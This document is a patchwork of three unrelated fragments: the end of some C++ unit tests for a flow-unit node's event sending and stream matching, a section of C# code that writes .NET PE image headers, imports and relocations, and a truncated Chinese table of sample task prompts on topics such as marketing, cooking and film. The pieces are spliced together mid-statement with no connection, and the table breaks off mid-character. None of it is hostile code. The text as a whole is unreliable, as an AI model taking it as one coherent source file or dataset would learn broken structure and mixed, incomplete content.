      FlowUnitInnerEvent::EXPAND_UNFINISH_DATA);
  auto event_vector = std::vector<std::shared_ptr<FlowUnitInnerEvent>>();
  event_vector.push_back(event);
  EXPECT_EQ(node->SendBatchEvent(event_vector), STATUS_OK);
  FlowunitEventList events = nullptr;
  EXPECT_EQ(node->GetEventPort()->Recv(events), STATUS_OK);
  EXPECT_EQ(events->size(), 1);
  EXPECT_EQ(events->at(0), event);
}

TEST_F(NodeRecvTest, RecvEmpty) {
  std::list<std::shared_ptr<MatchStreamData>> match_stream_data_list;
  EXPECT_EQ(
      node_->GenInputMatchStreamData(RunType::DATA, match_stream_data_list),
      STATUS_SUCCESS);
  EXPECT_TRUE(match_stream_data_list.empty());
}

TEST_F(NodeRecvTest, RecvMismatch) {
  node_->SetInput


Advance (20);

			// ImportLookupTable
			WriteUInt32 (text_map.GetRVA (TextSegment.ImportHintNameTable));

			// ImportHintNameTable
			MoveToRVA (TextSegment.ImportHintNameTable);

			WriteUInt16 (0);	// Hint
			WriteBytes (GetRuntimeMain ());
			WriteByte (0);
			WriteBytes (GetSimpleString ("mscoree.dll"));
			WriteUInt16 (0);
		}

		byte [] GetRuntimeMain ()
		{
			return module.Kind == ModuleKind.Dll || module.Kind == ModuleKind.NetModule
				? GetSimpleString ("_CorDllMain")
				: GetSimpleString ("_CorExeMain");
		}

		void WriteStartupStub ()
		{
			switch (module.Architecture) {
			case TargetArchitecture.I386:
				WriteUInt16 (0x25ff);
				WriteUInt32 ((uint) image_base + text_map.GetRVA (TextSegment.ImportAddressTable));
				return;
			default:
				throw new NotSupportedException ();
			}
		}

		void WriteRsrc ()
		{
			PrepareSection (rsrc);
			WriteBuffer (win32_resources);
		}

		void WriteReloc ()
		{
			PrepareSection (reloc);

			var reloc_rva = text_map.GetRVA (TextSegment.StartupStub);
			reloc_rva += module.Architecture == TargetArchitecture.IA64 ? 0x20u : 2;
			var page_rva = reloc_rva & ~0xfffu;

			WriteUInt32 (page_rva);	// PageRVA
			WriteUInt32 (0x000c);	// Block Size

			switch (module.Architecture) {
			case TargetArchitecture.I386:
				WriteUInt32 (0x3000 + reloc_rva - page_rva);
				break;
			default:
				throw new NotSupportedException();
			}
		}

		public void WriteImage ()
		{
			WriteDOSHeader ();
			WritePEFileHeader ();
			WriteOptionalHeaders ();
			WriteSectionHeaders ();
			WriteText ();
			if (rsrc != null)
				WriteRsrc ();
			if (reloc != null)
				WriteReloc ();
			Flush ();
		}

		void BuildTextMap ()
		{
			var map = text_map;

			map.AddMap (TextSegment.Code, metadata.code.length, !pe64 ? 4 : 16);
			map.AddMap (TextSegment.Resources, metadata.resources.length, 8);
			map.AddMap (TextSegment.Data, metadata.data.length, 4);
			if (metadata.data.length > 0)
				metadata.table_heap.FixupData (map.GetRVA (TextSegment.Data));
			map.AddMap (TextSegment.StrongNameSignature, GetStrongNameLength (), 4);

			BuildMetadataTextMap ();

			int debug_dir_len = 0;
			if (debug_header != null && debug_header.HasEntries) {
				var directories_len = debug_header.Entries.Length * ImageDebugDirectory.Size;
				var data_address = (int) map.GetNextRVA (TextSegment.BlobHeap) + directories_len;
				var data_len = 0;

				for (var i = 0; i < debug_header.Entries.Length; i++) {
					var entry = debug_header.Entries [i];
					var directory = entry.Directory;

					directory.AddressOfRawData = entry.Data.Length == 0 ? 0 : data_address;
					entry.Directory = directory;

					data_len += entry.Data.Length;
					data_address += data_len;
				}

				debug_dir_len = directories_len + data_len;
			}

			map.AddMap (TextSegment.DebugDirectory, debug_dir_len, 4);

			if (!has_reloc) {
				var start = map.GetNextRVA (TextSegment.DebugDirectory);
				map.AddMap (TextSegment.ImportDirectory, new Range (start, 0));
				map.AddMap (


                     | 请列举三个你所在公司需要开展调研的方向。                                                                                |
| 财务分析                      | 分析一下某家公司最近一年的盈利情况，找出有哪些增长点和下降点。                                                                                |
| 新产品开发                    | 请提供三个新产品的想法，需要包括产品名称、市场定位、目标用户以及特色功能等信息。                                                                                |
| 营销策略                      | 如果你是某个品牌的市场负责人，请提供一份针对年轻人的营销策略，包括推广渠道、宣传语、活动方式等方面的规划。                                                                                |
| 人力资源管理                  | 某公司想要加强内部员工文化建设，请提供至少两种方法或措施。                                                                                |
| 文案编辑                      | 下面这篇文章有哪些需要修改的地方：XXX（文章链接）。                                                                                |
| 机器学习模型训练              | 请描述如何使用Python中的scikit-learn库来训练一个支持向量机（SVM）分类器。                                                                                |
| 前端页面设计                  | 请设计一份企业网站的首页，需要包括颜色搭配、布局、导航栏、主要内容块等元素，可以使用任意一款工具（如Sketch、Figma、Adobe XD等）。                                                                                |
| 科技趋势研究                  | 请列举出2022年后可能引领科技潮流的三个关键性技术，并简述其应用场景和前景。                                                                                |
| 客户服务调查                  | 通过某家电商的客服中心数据，得知有一个客户投诉了售后服务不好，请你回复他并尝试解决问题。                                                                                |
| 烹饪 | 如何制作一份完美的牛排？|
| 电影分类 | 《阿甘正传》属于哪种类型的电影？ |
| 新闻编辑 | 请给以下新闻标题写一个开�